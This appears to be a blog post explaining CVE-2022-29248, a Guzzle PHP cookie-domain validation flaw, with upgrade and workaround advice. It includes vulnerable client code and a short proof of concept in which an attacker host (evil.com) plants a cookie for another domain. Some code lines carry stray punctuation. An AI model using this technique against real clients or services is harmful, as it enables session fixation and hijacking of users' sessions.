CVE-2022-29248 is a security vulnerability discovered in Guzzle, a widely-used HTTP client library for PHP. If you develop PHP applications or maintain web APIs, you might already use Guzzle for making HTTP requests. This long-read post will walk you through what the vulnerability is, how it works, and what you can do to stay secure.

What is Guzzle?

Guzzle is an HTTP client library that makes it easy to send HTTP requests and integrate with web services within PHP projects. Many websites, APIs, and frameworks rely on it for handling everything from webhooks to authentication.

Short Summary

The vulnerability (CVE-2022-29248) exists in Guzzle before versions 6.5.6 and 7.4.3. The bug is rooted in how cookie middleware handles the domains of cookies received in HTTP responses. In simple terms:

- When a server sends a response with a Set-Cookie header, the cookie should normally be scoped (only sent) to that server’s domain.
- Before the patch, Guzzle’s cookie middleware didn’t check if the cookie’s domain actually matched the domain of the server that set it.
- This means a malicious server can set cookies for other, unrelated domains, potentially interfering with your application’s logic or hijacking sessions.

Let’s break down a simple attack scenario.

Suppose your Guzzle client makes requests to different domains, and the cookie middleware is enabled. If you make a request to a dangerous host, it could send back:

Set-Cookie: sessionid=evil; Domain=trustedsite.com; Path=/

Because of the vulnerability, Guzzle would accept the cookie—and the next time your client made a request to trustedsite.com, it would automatically include:

Cookie: sessionid=evil

Who Is Affected?

Most users are NOT affected by default! The cookie middleware is not enabled unless you do so manually:

Here’s vulnerable code you might see in older projects

<?php
require 'vendor/autoload.php';

$client = new \GuzzleHttp\Client([
    'cookies' => true, // Enables the vulnerable middleware
]);

// Request to untrusted domain
$client->get('https://evil.com/path';);

// Later, request to trusted domain
$client->get('https://trustedsite.com/private';);

The first request might set a cookie for trustedsite.com if evil.com sends it. The second request then passes that cookie to trustedsite.com—potentially causing harm.

The Patch: Safe Versions

Guzzle 6.5.6 and 7.4.3 include a fix that properly validates cookie domains. When you use an updated version, Guzzle now rejects cookies that don’t match the origin domain (as it should).

Upgrade to at least 6.5.6 or 7.4.3 (or newer).

  composer require guzzlehttp/guzzle:^7.4.3
  

If you don’t need cookie support, don’t enable it. If your code doesn’t need ['cookies' => true], just leave it out.

Avoid re-using the same client for multiple domains if cookies are enabled.

Temporary Workaround:
If you can’t upgrade right away, disable the cookie middleware by removing ['cookies' => true] or not attaching cookie middleware to your custom handler stack.

Below is a proof-of-concept exploit using PHP and Guzzle <7.4.3, simulating a malicious server

<?php
use GuzzleHttp\Client;

$client = new Client(['cookies' => true]);

// Evil server sets malicious cookie
$evilServer = 'https://evil.com/set-cookie.php';;
$client->get($evilServer);

// Suppose /set-cookie.php sends header:
// Set-Cookie: auth=attacker; Domain=trustedsite.com; Path=/

// Now, request to trustedsite.com will include attacker's cookie!
$response = $client->get('https://trustedsite.com/dashboard';);
echo $response->getBody();

If you inspect the request to trustedsite.com, you’d see

Cookie: auth=attacker

References

- GitHub Security Advisory for Guzzle
- Original Guzzle Issue #2943
- NIST National Vulnerability Database CVE-2022-29248

Conclusion

CVE-2022-29248 is an example of why careful validation in libraries is critical, especially for components like HTTP clients that handle cross-domain requests and cookies. If you use Guzzle with cookies enabled, make sure you are running at least version 6.5.6 or 7.4.3. Applying the workaround or upgrading is simple and helps ensure your application stays secure.


Stay safe, keep your dependencies up to date, and always review your client-side HTTP configurations!

Timeline

Published on: 05/25/2022 18:15:00 UTC
Last modified on: 06/07/2022 18:26:00 UTC